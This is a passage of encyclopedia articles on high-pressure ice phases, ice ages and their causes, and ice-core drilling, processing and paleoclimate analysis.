              	A tetragonal metastable phase. Formed gradually from ice III by cooling it from 208 K to 165 K, stable below 140 K and pressures between 200 and 400 MPa. It has density of 1.16 g/cm, slightly higher than ordinary ice.
            


            
              	Ice X

              	Proton-ordered symmetric ice. Forms at about 70 GPa.
            


            
              	Ice XI

              	An orthorhombic low-temperature equilibrium form of hexagonal ice. It is ferroelectric.
            


            
              	Ice XII

              	A tetragonal metastable dense crystalline phase. It is observed in the phase space of ice V and ice VI. It can be prepared by heating high-density amorphous ice from 77 K to about 183 K at 810 MPa.
            


            
              	Ice XIII

              	A monoclinic crystalline phase. Formed by cooling water to below 130 K at 500 MPa. The proton-ordered form of ice V.
            


            
              	Ice XIV

              	An orthorhombic crystalline phase. Formed below 118 K at 1.2 GPa. The proton-ordered form of ice XII.
            


            
              	Ice XV

              	The predicted but not yet proven proton-ordered form of ice VI. Thought to be formed by cooling water to around 108-80 K at 1.1 GPa.
            

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Ice"
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          An ice age is a period of long-term reduction in the temperature of the Earth's surface and atmosphere, resulting in an expansion of continental ice sheets, polar ice sheets and alpine glaciers. Glaciologically, ice age is often used to mean a period of ice sheets in the northern and southern hemispheres; by this definition we are still in an ice age (because the Greenland and Antarctic ice sheets still exist). More colloquially, when speaking of the last few million years, ice age is used to refer to colder periods with extensive ice sheets over the North American and Eurasian continents: in this sense, the most recent ice age peaked about 11,000 years ago. This article will use the term ice age in the former, glaciological, sense: glacials for colder periods during ice ages and interglacials for the warmer periods.


          


          Origin of ice age theory


          The idea that in the past glaciers had been far more extensive was folk knowledge in some alpine regions of Europe: Imbrie and Imbrie (1979) quote a woodcutter by name of Jean-Pierre Perraudin telling Jean de Charpentier of the former extent of the Grimsel glacier in the Swiss Alps. Macdougall (2004) claims the person was a Swiss engineer named Ignaz Venetz, but no single person invented the idea. Between 1825 and 1833, Charpentier assembled evidence in support of the concept. In 1836 Charpentier, Venetz and Karl Friedrich Schimper convinced Louis Agassiz, and Agassiz published the hypothesis in his book tude sur les glaciers (Study on Glaciers) of 1840. According to Macdougall (2004), Charpentier and Venetz disapproved of the ideas of Agassiz who extended their work claiming that most continents were once covered by ice.


          At this early stage of knowledge, what was being studied were the glacial periods within the past few hundred thousand years, during the current ice age. The existence of ancient ice ages was as yet unsuspected.


          


          Evidence for ice ages


          There are three main types of evidence for ice ages: geological, chemical, and paleontological.


          Geological evidence for ice ages comes in various forms, including rock scouring and scratching, glacial moraines, drumlins, valley cutting, and the deposition of till or tillites and glacial erratics. Successive glaciations tend to distort and erase the geological evidence, making it difficult to interpret. It took some time for the current theory to be worked out.


          The chemical evidence mainly consists of variations in the ratios of isotopes in fossils present in sediments and sedimentary rocks, ocean sediment cores, and for the most recent glacial periods, ice cores. Because water containing heavier isotopes has a higher heat of evaporation, its proportion decreases with colder conditions. This allows a temperature record to be constructed. However, this evidence can be confounded by other factors recorded by isotope ratios; for example, a mass extinction increases the proportion of lighter isotopes in sediments and ice because biological processes preferentially use lighter isotopes, so a reduction in land or ocean biomass results in a sudden bio-induced displacement of isotope equilibrium towards larger proportions of lighter isotopes available for deposition.


          The paleontological evidence consists of changes in the geographical distribution of fossils. During a glacial period cold-adapted organisms spread into lower latitudes, and organisms that prefer warmer conditions become extinct or are squeezed into lower latitudes. This evidence is also difficult to interpret because it requires (1) sequences of sediments covering a long period of time, over a wide range of latitudes and which are easily correlated; (2) ancient organisms which survive for several million years without change and whose temperature preferences are easily diagnosed; and (3) the finding of the relevant fossils, which requires a lot of luck.


          Despite the difficulties, analyses of ice core and ocean sediment cores has shown periods of glacials and interglacials over the past few million years. These also confirm the linkage between ice ages and continental crust phenomena such as glacial moraines, drumlins, and glacial erratics. Hence the continental crust phenomena are accepted as good evidence of earlier ice ages when they are found in layers created much earlier than the time range for which ice cores and ocean sediment cores are available.


          


          Major ice ages
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          There have been at least four major ice ages in the Earth's past. Outside these periods, the Earth seems to have been ice-free even in high latitudes.


          The earliest hypothesized ice age, called the Huronian, was around 2.7 to 2.3 billion years ago during the early Proterozoic Eon.


          The earliest well-documented ice age, and probably the most severe of the last 1 billion years, occurred from 850 to 630 million years ago (the Cryogenian period) and may have produced a Snowball Earth in which permanent ice covered the entire globe. This ended very rapidly as water vapor returned to Earth's atmosphere. It has been suggested that the end of this ice age was responsible for the subsequent Ediacaran and Cambrian Explosion, though this theory is recent and controversial.


          
            [image: Sediment records showing the fluctuating sequences of glacials and interglacials during the last several million years.]

            
              Sediment records showing the fluctuating sequences of glacials and interglacials during the last several million years.
            

          


          A minor ice age, the Andean-Saharan, occurred from 460 to 430 million years ago, during the Late Ordovician and the Silurian period. There were extensive polar ice caps at intervals from 350 to 260 million years ago, during the Carboniferous and early Permian Periods, associated with the Karoo Ice Age.


          While an ice sheet on Antarctica began to grow some 20 million years ago, the current ice age is said to have started about 2.58 million years ago. During the late Pliocene the spread of ice sheets in the Northern Hemisphere began. Since then, the world has seen cycles of glaciation with ice sheets advancing and retreating on 40,000- and 100,000-year time scales called glacials (glacial advance) and interglacials (glacial retreat). The earth is currently in an interglacial, and the last glacial period ended about 10,000 years ago. All that remains of the continental ice sheets are the Greenland and Antarctic ice sheets.


          Ice ages can be further divided by location and time; for example, the names Riss (180,000130,000 years bp) and Wrm (70,00010,000 years bp) refer specifically to glaciation in the Alpine region. Note that the maximum extent of the ice is not maintained for the full interval. Unfortunately, the scouring action of each glaciation tends to remove most of the evidence of prior ice sheets almost completely, except in regions where the later sheet does not achieve full coverage. It is possible that glacial periods other than those above, especially in the Precambrian, have been overlooked because of scarcity of exposed rocks from high latitudes from older periods.


          


          Glacials and interglacials
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          Within the ice ages (or at least within the last one), more temperate and more severe periods occur. The colder periods are called glacial periods, the warmer periods interglacials, such as the Eemian interglacial era.


          Glacials are characterized by cooler and drier climates over most of the Earth and large land and sea ice masses extending outward from the poles. Mountain glaciers in otherwise unglaciated areas extend to lower elevations due to a lower snow line. Sea levels drop due to the removal of large volumes of water above sea level in the icecaps. There is evidence that ocean circulation patterns are disrupted by glaciations. Since the Earth has significant continental glaciation in the Arctic and Antarctic, we are currently in a glacial minimum of a glaciation. Such a period between glacial maxima is known as an interglacial.


          The Earth has been in an interglacial period known as the Holocene for more than 11,000 years. It was conventional wisdom that "the typical interglacial period lasts about 12,000 years," but this has been called into question recently. For example, an article in Nature argues that the current interglacial might be most analogous to a previous interglacial that lasted 28,000 years. Predicted changes in orbital forcing suggest that the next glacial period would not begin before about 50,000 years from now, regardless of man-made global warming (see Milankovitch cycles). Moreover, anthropogenic forcing from increased greenhouse gases might outweigh orbital forcing for as long as intensive use of fossil fuels continues.


          


          Positive and negative feedbacks in glacial periods


          Each glacial period is subject to positive feedback which makes it more severe and negative feedback which mitigates and (in all cases so far) eventually ends it.


          


          Processes which make glacial periods more severe


          Ice and snow increase the Earth's albedo, i.e. they make it reflect more of the sun's energy and absorb less. Hence, when the air temperature decreases, ice and snow fields grow, and this continues until an equilibrium is reached. Also, the reduction in forests caused by the ice's expansion increases albedo.


          Another theory has hypothesized that an ice-free Arctic Ocean leads to increased snowfall at high latitudes. When low-temperature ice covers the Arctic Ocean there is little evaporation or sublimation and the polar regions are quite dry in terms of precipitation, comparable to the amount found in mid-latitude deserts. This low precipitation allows high-latitude snowfalls to melt during the summer. An ice-free Arctic Ocean absorbs solar radiation during the long summer days, and evaporates more water into the Arctic atmosphere. With higher precipitation, portions of this snow may not melt during the summer and so glacial ice can form at lower altitudes and more southerly latitudes, reducing the temperatures over land by increased albedo as noted above. (Current projected consequences of global warming include a largely ice-free Arctic Ocean within 50 years.) Additional fresh water flowing into the North Atlantic during a warming cycle may also reduce the global ocean water circulation (see Shutdown of thermohaline circulation). Such a reduction (by reducing the effects of the Gulf Stream) would have a cooling effect on northern Europe, which in turn would lead to increased low-latitude snow retention during the summer. It has also been suggested that during an extensive ice age glaciers may move through the Gulf of Saint Lawrence, extending into the North Atlantic ocean to an extent that the Gulf Stream is blocked.


          


          Processes which mitigate glacial periods


          Ice sheets that form during glaciations cause erosion of the land beneath them. After some time, this will reduce land below sea level and thus diminish the amount of space on which ice sheets can form. This mitigates the albedo feedback, as does the lowering in sea level that accompanies the formation of ice sheets.


          Another factor is the increased aridity occurring with glacial maxima, which reduces the precipitation available to maintain glaciation. The glacial retreat induced by this or any other process can be amplified by similar inverse positive feedbacks as for glacial advances.


          


          Causes of ice ages


          The causes of ice ages remain controversial for both the large-scale ice age periods and the smaller ebb and flow of glacialinterglacial periods within an ice age. The consensus is that several factors are important: atmospheric composition (the concentrations of carbon dioxide, methane); changes in the Earth's orbit around the Sun known as Milankovitch cycles (and possibly the Sun's orbit around the galaxy); the motion of tectonic plates resulting in changes in the relative location and amount of continental and oceanic crust on the Earth's surface, which could affect wind and ocean currents; variations in solar output; the orbital dynamics of the Earth-Moon system; and the impact of relatively large meteorites, and volcanism including eruptions of supervolcanoes.


          Some of these factors are causally related to each other. For example, changes in Earth's atmospheric composition (especially the concentrations of greenhouse gases) may alter the climate, while climate change itself can change the atmospheric composition (for example by changing the rate at which weathering removes CO2).


          William Ruddiman, Maureen Raymo, and others propose that the Tibetan and Colorado Plateaus are immense CO2 "scrubbers" with a capacity to remove enough CO2 from the global atmosphere to be a significant causal factor of the 40 million year Cenozoic Cooling trend. They further claim that approximately half of their uplift (and CO2 "scrubbing" capacity) occurred in the past 10 million years.


          


          Changes in Earth's atmosphere


          There is evidence that greenhouse gas levels fell at the start of ice ages and rose during the retreat of the ice sheets, but it is difficult to establish cause and effect (see the notes above on the role of weathering). Greenhouse gas levels may also have been affected by other factors which have been proposed as causes of ice ages, such as the movement of continents and vulcanism.


          The Snowball Earth hypothesis maintains that the severe freezing in the late Proterozoic was ended by an increase in CO2 levels in the atmosphere, and some supporters of Snowball Earth argue that it was caused by a reduction in atmospheric CO2. The hypothesis also warns of future Snowball Earths.


          William Ruddiman has proposed the early anthropocene hypothesis, according to which the anthropocene era, as some people call the most recent period in the Earth's history when the activities of the human race first began to have a significant global impact on the Earth's climate and ecosystems, did not begin in the 18th century with the advent of the Industrial Era, but dates back to 8,000 years ago, due to intense farming activities of our early agrarian ancestors. It was at that time that atmospheric greenhouse gas concentrations stopped following the periodic pattern of the Milankovitch cycles. In his overdue-glaciation hypothesis Ruddiman claims that an incipient ice age would probably have begun several thousand years ago, but the arrival of that scheduled ice age was forestalled by the activities of early farmers.


          


          Position of the continents


          The geological record appears to show that ice ages start when the continents are in positions which block or reduce the flow of warm water from the equator to the poles and thus allow ice sheets to form. The ice sheets increase the Earth's reflectivity and thus reduce the absorption of solar radiation. With less radiation absorbed the atmosphere cools; the cooling allows the ice sheets to grow, which further increases reflectivity in a positive feedback loop. The ice age continues until the reduction in weathering causes an increase in the greenhouse effect.


          There are three known configurations of the continents which block or reduce the flow of warm water from the equator to the poles:


          
            	A continent sits on top of a pole, as Antarctica does today.


            	A polar sea is almost land-locked, as the Arctic Ocean is today.


            	A supercontinent covers most of the equator, as Rodinia did during the Cryogenian period.

          


          Since today's Earth has a continent over the South Pole and an almost land-locked ocean over the North Pole, geologists believe that Earth will continue to endure glacial periods in the geologically near future.


          Some scientists believe that the Himalayas are a major factor in the current ice age, because these mountains have increased Earth's total rainfall and therefore the rate at which CO2 is washed out of the atmosphere, decreasing the greenhouse effect. The Himalayas' formation started about 70 million years ago when the Indo-Australian Plate collided with the Eurasian Plate, and the Himalayas are still rising by about 5 mm per year because the Indo-Australian plate is still moving at 67 mm/year. The history of the Himalayas broadly fits the long-term decrease in Earth's average temperature since the mid-Eocene, 40 million years ago.


          Other important aspects which contributed to ancient climate regimes are the ocean currents, which are modified by continent position as well as other factors. They have the ability to cool (e.g. aiding the creation of Antarctic ice) and the ability to warm (e.g. giving the British Isles a temperate as opposed to a boreal climate). The closing of the Isthmus of Panama about 3 million years ago may have ushered in the present period of strong glaciation over North America by ending the exchange of water between the tropical Atlantic and Pacific Oceans.


          


          Variations in Earth's orbit (Milankovitch cycles)


          The Milankovitch cycles are a set of cyclic variations in characteristics of the Earth's orbit around the sun. Each cycle has a different length, so at some times their effects reinforce each other and at other times they (partially) cancel each other.


          It is very unlikely that the Milankovitch cycles can start or end an ice age (series of glacial periods):


          
            	Even when their effects reinforce each other they are not strong enough.


            	The "peaks" (effects reinforce each other) and "troughs" (effects cancel each other) are much more regular and much more frequent than the observed ice ages.

          


          In contrast, there is strong evidence that the Milankovitch cycles affect the occurrence of glacial and interglacial periods within an ice age. The present ice ages are the most studied and best understood, particularly the last 400,000 years, since this is the period covered by ice cores that record atmospheric composition and proxies for temperature and ice volume. Within this period, the match of glacial/interglacial frequencies to the Milanković orbital forcing periods is so close that orbital forcing is generally accepted. The combined effects of the changing distance to the Sun, the precession of the Earth's axis, and the changing tilt of the Earth's axis redistribute the sunlight received by the Earth. Of particular importance are changes in the tilt of the Earth's axis, which affect the intensity of seasons. For example, the amount of solar influx in July at 65 degrees north latitude varies by as much as 25% (from 400 W/m to 500 W/m, see graph at ). It is widely believed that ice sheets advance when summers become too cool to melt all of the accumulated snowfall from the previous winter. Some workers believe that the strength of the orbital forcing is too small to trigger glaciations, but feedback mechanisms like CO2 may explain this mismatch.


          While Milankovitch forcing predicts that cyclic changes in the Earth's orbital parameters can be expressed in the glaciation record, additional explanations are necessary to explain which cycles are observed to be most important in the timing of glacialinterglacial periods. In particular, during the last 800,000 years, the dominant period of glacialinterglacial oscillation has been 100,000 years, which corresponds to changes in Earth's eccentricity and orbital inclination. Yet this is by far the weakest of the three frequencies predicted by Milankovitch. During the period 3.00.8 million years ago, the dominant pattern of glaciation corresponded to the 41,000-year period of changes in Earth's obliquity (tilt of the axis). The reasons for dominance of one frequency versus another are poorly understood and an active area of current research, but the answer probably relates to some form of resonance in the Earth's climate system.


          The "traditional" Milankovitch explanation struggles to explain the dominance of the 100,000-year cycle over the last 8 cycles. Richard A. Muller and Gordon J. MacDonald and others have pointed out that those calculations are for a two-dimensional orbit of Earth but the three-dimensional orbit also has a 100,000-year cycle of orbital inclination. They proposed that these variations in orbital inclination lead to variations in insolation, as the earth moves in and out of known dust bands in the solar system. Although this is a different mechanism to the traditional view, the "predicted" periods over the last 400,000 years are nearly the same. The Muller and MacDonald theory, in turn, has been challenged by Jose Antonio Rial .


          Another worker, William Ruddiman, has suggested a model that explains the 100,000-year cycle by the modulating effect of eccentricity (weak 100,000-year cycle) on precession (23,000-year cycle) combined with greenhouse gas feedbacks in the 41,000- and 23,000-year cycles. Yet another theory has been advanced by Peter Huybers who argued that the 41,000-year cycle has always been dominant, but that the Earth has entered a mode of climate behaviour where only the second or third cycle triggers an ice age. This would imply that the 100,000-year periodicity is really an illusion created by averaging together cycles lasting 80,000 and 120,000 years. This theory is consistent with the existing uncertainties in dating, but not widely accepted at present (Nature 434, 2005, ).


          


          Variations in the Sun's energy output


          There are at least two types of variation in the Sun's energy output:


          
            	In the very long term, astrophysicists believe that the sun's output increases by about 10% per billion (109) years. In about one billion years the additional 10% will be enough to cause a runaway greenhouse effect on Earthrising temperatures produce more water vapour, water vapour is a greenhouse gas (much stronger than CO2), the temperature rises, more water vapour is produced, etc.


            	Shorter-term variations, some possibly caused by hunting. Since the Sun is huge, the effects of imbalances and negative feedback processes take a long time to propagate through it, so these processes overshoot and cause further imbalances, etc."long time" in this context means thousands to millions of years.

          


          The long-term increase in the Sun's output cannot be a cause of ice ages.


          The best known shorter-term variations are sunspot cycles, especially the Maunder minimum, which is associated with the coldest part of the Little Ice Age. Like the Milankovitch cycles, sunspot cycles' effects are too weak and too frequent to explain the start and end of ice ages but very probably help to explain temperature variations within them.


          


          Volcanism


          It is theoretically possible that undersea volcanoes could end an ice age by causing global warming. One suggested explanation of the Paleocene-Eocene Thermal Maximum is that undersea volcanoes released methane from clathrates and thus caused a large and rapid increase in the greenhouse effect. There appears to be no geological evidence for such eruptions at the right time, but this does not prove they did not happen.


          It is harder to see how volcanism could cause an ice age, since its cooling effects would have to be stronger than and to outlast its warming effects. This would require dust and aerosol clouds which would stay in the upper atmosphere blocking the sun for thousands of years, which seems very unlikely. Undersea volcanoes could not produce this effect because the dust and aerosols would be absorbed by the sea before they reached the atmosphere.


          


          Recent glacial and interglacial phases


          



          


          Glacial stages in North America
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          The major glacial stages of the current ice age in North America were the Nebraskan, Kansan, Illinoian, and Wisconsin glaciation. They were divided by the Aftonian, Yarmouth, and Sangamon interglacial stages.


          During the most recent North American glaciation, the Wisconsin glaciation (70,000 to 10,000 years ago), ice sheets extended to about 45 degrees north latitude. These sheets were 3 to 4 km thick.


          This Wisconsin glaciation left widespread impacts on the North American landscape. The Great Lakes and the Finger Lakes were carved by ice deepening old valleys. Most of the lakes in Minnesota and Wisconsin were gouged out by glaciers and later filled with glacial meltwaters. The old Teays River drainage system was radically altered and largely reshaped into the Ohio River drainage system. Other rivers were dammed and diverted to new channels, such as the Niagara, which formed a dramatic waterfall and gorge, when the waterflow encountered a limestone escarpment. Another similar waterfall, at the present Clark Reservation State Park near Syracuse, New York, is now dry.


          The area from Long Island to Nantucket was formed from glacial till, and the plethora of lakes on the Canadian Shield in northern Canada can be almost entirely attributed to the action of the ice. As the ice retreated and the rock dust dried, winds carried the material hundreds of miles, forming beds of loess many dozens of feet thick in the Missouri Valley. Isostatic rebound continues to reshape the Great Lakes and other areas formerly under the weight of the ice sheets.


          The Driftless Zone, a portion of western and southwestern Wisconsin along with parts of adjacent Minnesota, Iowa, and Illinois, was not covered by glaciers.


          


          Effects of glaciation


          Although the last glacial period ended more than 8,000 years ago, its effects can still be felt today. For example, the moving ice carved out landscape in Canada, Greenland, northern Eurasia and Antarctica. The erratic boulders, till, drumlins, eskers, kettle lakes, moraines, cirques, horns, etc., are typical features left behind by the glaciers.


          The weight of the ice sheets was so great that they deformed the earth's crust and mantle. After the ice sheets melted, the ice-covered land rebounded (see Post-glacial rebound). Due to the high viscosity of the Earth, the flow of mantle rocks which controls the rebound process is very slow  at a rate of about 1 cm/year near the centre of rebound today.


          During glaciation, water was taken from the oceans to form the ice at high latitudes, thus global sea level drops by about 120 meters, exposing the continental shelves and forming land-bridges between land-masses for animals to migrate. During deglaciation, the melted ice-water returned to the oceans, causing sea level to rise. This process can cause sudden shifts in coastlines and hydration systems resulting in newly submerged lands, emerging lands, collapsed ice dams resulting in salination of lakes, new ice dams creating vast areas of freshwater, and a general alteration in regional weather patterns on a large but temporary scale. It can even cause temporary reglaciation. This type of chaotic pattern of rapidly changing land, ice, saltwater and freshwater has been proposed as the likely model for the Baltic and Scandinavian regions, as well as much of central North America at the end of the last glacial maximum, with the present-day coastlines only being achieved in the last few millennia of prehistory. Also, the effect of elevation on Scandinavia submerged a vast continental plain that had existed under much of what is now the North Sea, connecting the British Isles to Continental Europe.


          The redistribution of ice-water on the surface of the Earth and the flow of mantle rocks causes the gravitational field and the Moment of Inertia of the Earth to change. Changes in the moment of inertia result in a change in the rotational motion of the Earth. The redistribution of surface mass induced stress within the Earth and caused earthquakes (see Post-glacial rebound), according to some scientists. However, many mainstream geologists are doubtful that the effect on rotational motion, at least at the end of the last glacial maximum, was sufficient to create significant earthquake effect. That does not remove the possibility that the rebound itself generated regional tectonic effects.
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              Ice Core sample taken from drill. Photo by Lonnie Thompson, Byrd Polar Research Centre.
            

          


          An ice core is a core sample from the accumulation of snow and ice over many years that have re-crystallized and have trapped air bubbles from previous time periods. The composition of these ice cores, especially the presence of hydrogen and oxygen isotopes, provides a picture of the climate at the time.


          Because water molecules containing heavier isotopes exhibit a lower vapor pressure, when the temperature falls, the heavier water molecules will condense faster than the normal water molecules. The relative concentrations of the heavier isotopes in the condensate indicate the temperature of condensation at the time, allowing for ice cores to be used in local temperature reconstruction after certain assumptions. In addition to the isotope concentration, the air bubbles trapped in the ice cores allow for measurement of the atmospheric concentrations of trace gases, including greenhouse gases carbon dioxide, methane, and nitrous oxide.


          Ice cores contain an abundance of climate information. Inclusions in the snow of each year remain in the ice, such as wind-blown dust, ash, bubbles of atmospheric gas and radioactive substances. The variety of climatic proxies is greater than in any other natural recorder of climate, such as tree rings or sediment layers. These include ( proxies for) temperature, ocean volume, precipitation, chemistry and gas composition of the lower atmosphere, volcanic eruptions, solar variability, sea-surface productivity, desert extent and forest fires.


          Typical ice cores are removed from an ice sheet, most commonly from the polar ice caps of Antarctica, Greenland or from high mountain glaciers elsewhere. As the ice forms from the incremental buildup of annual layers of snow, lower layers are older than upper, and an ice core contains ice formed over a range of years. The properties of the ice or inclusions within the ice can then be used to reconstruct a climatic record over the age range of the core.


          The length of the record depends on the depth of the ice core and varies from a few years up to 800 kyr for the EPICA core. The time resolution (i.e. the shortest time period which can be accurately distinguished) depends on the amount of annual snowfall, and reduces with depth as the ice compacts under the weight of layers accumulating on top of it. Upper layers of ice in a core correspond to a single year or sometimes a single season. Deeper into the ice the layers thin and annual layers become indistinguishable.


          An ice core from the right site can be used to reconstruct an uninterrupted and detailed climate record extending over hundreds of thousands of years, providing information on a wide variety of aspects of climate at each point in time. It is the simultaneity of these properties recorded in the ice that makes ice cores such a powerful tool in paleoclimate research.


          


          Structure of ice sheets and cores
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          Most ice sheets are formed from snow. Because an ice sheet survives summer, the temperature in that location usually does not warm much above freezing. In many locations in Antarctica the air temperature is always well below the freezing point of water. If the summer temperatures do get above freezing, any ice core record will be severely degraded or completely useless, since meltwater will percolate into the snow.


          The surface layer is snow in various forms, with air gaps between snowflakes. As snow continues to accumulate, the buried snow is compressed and forms firn, a grainy material with a texture similar to granulated sugar. Air gaps remain, and some circulation of air continues. As snow accumulates above, the firn continues to densify, and at some point the pores close off and the air is trapped. Because the air continues to circulate until then, the ice age and the age of the gas enclosed are not the same, and may differ by hundreds of years. The gas ageice age difference is as great as 7 kyr in glacial ice from Vostok.


          Under increasing pressure, at some depth the firn is compressed into ice. This depth may range between a few to several tens of meters to typically 100 m for Antarctic cores. Below this level material is frozen in the ice. Ice may appear clear or blue.


          
            [image: GISP2 ice core at 1837 meters depth with clearly visible annual layers.]

            
              GISP2 ice core at 1837 meters depth with clearly visible annual layers.
            

          


          Layers can be visually distinguished in firn and in ice to significant depths. In a location on the summit of an ice sheet where there is little flow, accumulation tends to move down and away, creating layers with minimal disturbance. In a location where underlying ice is flowing, deeper layers may have increasingly different characteristics and distortion. Drill cores near bedrock often are challenging to analyze due to distorted flow patterns and composition likely to include materials from the underlying surface.


          


          Characteristics of firn


          The layer of porous firn on Antarctic ice sheets is 50-150 m deep. It is much less deep on glaciers.


          Air in the atmosphere and firn are slowly exchanged by molecular diffusion through pore spaces, because gases move toward regions of lower concentration. Thermal diffusion causes isotope fractionation in firn when there is rapid temperature variation, creating isotope differences which are captured in bubbles when ice is created at the base of firn. There is gas movement due to diffusion in firn, but not convection except very near the surface.


          Below the firn is a zone in which seasonal layers alternately have open and closed porosity. These layers are sealed with respect to diffusion. Gas ages increase rapidly with depth in these layers. Various gases are fractionated while bubbles are trapped where firn is converted to ice.


          


          Coring


          A core is collected by separating it from the surrounding material. For material which is sufficiently soft, coring may be done with a hollow tube. Deep core drilling into hard ice, and perhaps underlying bedrock, involves using a hollow drill which actively cuts a cylindrical pathway downward around the core.


          When a drill is used, the cutting apparatus is on the bottom end of a drill barrel, the tube which surrounds the core as the drill cuts downward around the edge of the cylindrical core. The length of the drill barrel determines the maximum length of a core sample (6 m at GISP2 and Vostok). Collection of a long core record thus requires many cycles of lowering a drill/barrel assembly, cutting a core 4-6 m in length, raising the assembly to the surface, emptying the core barrel, and preparing a drill/barrel for drilling.


          Because deep ice is under pressure and can deform, for cores deeper than about 300 m the hole will tend to close if there is nothing to supply back pressure. The hole is filled with a fluid to keep the hole from closing. The fluid, or mixture of fluids, must simultaneously satisfy criteria for density, low viscosity, frost resistance, as well as workplace safety and environmental compliance. The fluid must also satisfy other criteria, for example those stemming from the analytical methods employed on the ice core. A number of different fluids and fluid combinations have been tried in the past. Since GISP2 (1990-1993) the US Polar Program has utilized a single-component fluid system, n-butyl acetate, but the toxicology, flammability, aggressive solvent nature, and longterm liabilities of n-butyl acetate raises serious questions about its continued application. The European community, including the Russian program, has concentrated on the use of two-component drilling fluid consisting of low-density hydrocarbon base (brown kerosene was used at Vostok) boosted to the density of ice by addition of halogenated-hydrocarbon densifier. Many of the proven densifier products are now considered too toxic, or are no longer available due to efforts to enforce the Montreal Protocol on ozone-depleting substances. In April 1998 on the Devon Ice Cap filtered lamp oil was used as a drilling fluid. In the Devon core it was observed that below about 150 m the stratigraphy was obscured by microfractures.


          


          Core processing
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              Sawing the GRIP core
            

          


          Modern practice is to ensure that cores remain uncontaminated, since they are analysed for trace quantities of chemicals and isotopes. They are sealed in plastic bags after drilling and analysed in clean rooms.


          The core is carefully extruded from the barrel; often facilities are designed to accommodate the entire length of the core on a horizontal surface. Drilling fluid will be cleaned off before the core is cut into 1-2 meter sections. Various measurements may be taken during preliminary core processing.


          Current practices to avoid contamination of ice include:


          
            	Keeping ice well below the freezing point.

              
                	At Greenland and Antarctic sites, temperature is maintained by having storage and work areas under the snow/ice surface.


                	At GISP2, cores were never allowed to rise above -15 C, partly to prevent microcracks from forming and allowing present-day air to contaminate the fossil air trapped in the ice fabric, and partly to inhibit recrystallization of the ice structure.

              

            


            	Wearing special clean suits over cold weather clothing.


            	Mittens or gloves.


            	Filtered respirators.


            	Plastic bags, often polyethylene, around ice cores. Some drill barrels include a liner.


            	Proper cleaning of tools and laboratory equipment.


            	Use of laminar-flow bench to isolate core from room particulates.

          


          For shipping, cores are packed in Styrofoam boxes protected by shock absorbing bubble-wrap.


          Due to the many types of analysis done on core samples, sections of the core are scheduled for specific uses. After the core is ready for further analysis, each section is cut as required for tests. Some testing is done on site, other study will be done later, and a significant fraction of each core segment is reserved for archival storage for future needs.


          Projects have used different core-processing strategies. Some projects have only done studies of physical properties in the field, while others have done significantly more study in the field. These differences are reflected in the core processing facilities.


          


          Ice relaxation


          Deep ice is under great pressure. When brought to the surface, there is a drastic change in pressure. Due to the internal pressure and varying composition, particularly bubbles, sometimes cores are very brittle and can break or shatter during handling. At Dome C, the first 1000 m were brittle ice. Siple dome encountered it from 400 to 1000 m. It has been found that allowing ice cores to rest for some time (sometimes for a year) makes them become much less brittle.


          Decompression causes significant volume expansion (called relaxation) due to microcracking and the exsolving of enclathratized gases. Relaxation may last for months. During this time, ice cores are stored below -10 C to prevent cracking due to expansion at higher temperatures. At drilling sites, a relaxation area is often built within existing ice at a depth which allows ice core storage at temperatures below -20 C.


          It has been observed that the internal structure of ice undergoes distinct changes during relaxation. Changes include much more pronounced cloudy bands and much higher density of "white patches" and bubbles.


          Several techniques have been examined. Cores obtained by hot water drilling at Siple Dome in 1997-1998 underwent appreciably more relaxation than cores obtained with the PICO electro-mechanical drill. In addition, the fact that cores were allowed to remain at the surface at elevated temperature for several days likely promoted the onset of rapid relaxation.


          


          Ice core data
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          Many materials can appear in an ice core. Layers can be measured in several ways to identify changes in composition. Small meteorites may be embedded in the ice. Volcanic eruptions leave identifiable ash layers. Dust in the core can be linked to increased desert area or wind speed.


          Isotopic analysis of the ice in the core can be linked to temperature and global sea level variations. Analysis of the air contained in bubbles in the ice can reveal the palaeocomposition of the atmosphere, in particular CO2 variations. There are great problems relating the dating of the included bubbles to the dating of the ice, since the bubbles only slowly "close off" after the ice has been deposited. Nonetheless, recent work has tended to show that during deglaciations CO2 increases lags temperature increases by 600 +/- 400 years . Beryllium 10 concentrations are linked to cosmic ray intensity which can be a proxy for solar strength (see proxy).


          There may be an association between atmospheric nitrates in ice and solar activity. However, recently it was discovered that sunlight triggers chemical changes within top levels of firn which significantly alter the pore air composition. This raises levels of formaldehyde and NOx. Although the remaining levels of nitrates may indeed be indicators of solar activity, there is ongoing investigation of resulting and related effects of effects upon ice core data.


          


          Core contamination


          Some contamination has been detected in ice cores. The levels of lead on the outside of ice cores is much higher than on the inside. In ice from the Vostok core (Antarctica), the outer portion of the cores have up to 3 and 2 orders of magnitude higher bacterial density and dissolved organic carbon than the inner portion of the cores, respectively, as a result of drilling and handling.


          


          Paleoatmospheric sampling


          As porous snow consolidates into ice, the air within it is trapped in bubbles in the ice. This process continuously preserves samples of the atmosphere. In order to retrieve these natural samples the ice is ground at low temperatures, allowing the trapped air to escape. It is then condensed for analysis by gas chromatography or mass spectrometry, revealing gas concentrations and their isotopic composition respectively. Apart from the intrinsic importance of knowing relative gas concentrations (e.g. to estimate the extent of greenhouse warming), their isotopic composition can provide information on the sources of gases. For example CO2 from fossil-fuel or biomass burning is relatively depleted in 13C. See Friedli et al., 1986.


          Dating the air with respect to the ice it is trapped in is problematic. The consolidation of snow to ice necessary to trap the air takes place at depth (the 'trapping depth') once the pressure of overlying snow is great enough. Since air can freely diffuse from the overlying atmosphere throughout the upper unconsolidated layer (the 'firn'), trapped air is younger than the ice surrounding it.


          Trapping depth varies with climatic conditions, so the air-ice age difference could vary between 2500 and 6000 years (Barnola et al., 1991). However, air from the overlying atmosphere may not mix uniformly throughout the firn (Battle et al., 1986) as earlier assumed, meaning estimates of the air-ice age difference could be less than imagined. Either way, this age difference is a critical uncertainty in dating ice-core air samples. In addition, gas movement would be different for various gases; for example, larger molecules would be unable to move at a different depth than smaller molecules so the ages of gases at a certain depth may be different. Some gases also have characteristics which affect their inclusion, such as helium not being trapped because it is soluble in ice.


          In Law Dome ice cores, the trapping depth at DE08 was found to be 72 m where the age of the ice is 401 years; at DE08-2 to be 72 m depth and 40 years; and at DSS to be 66 m depth and 68 years.


          


          Paleoatmospheric firn studies
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              Ozone-depleting gases in Greenland firn.
            

          


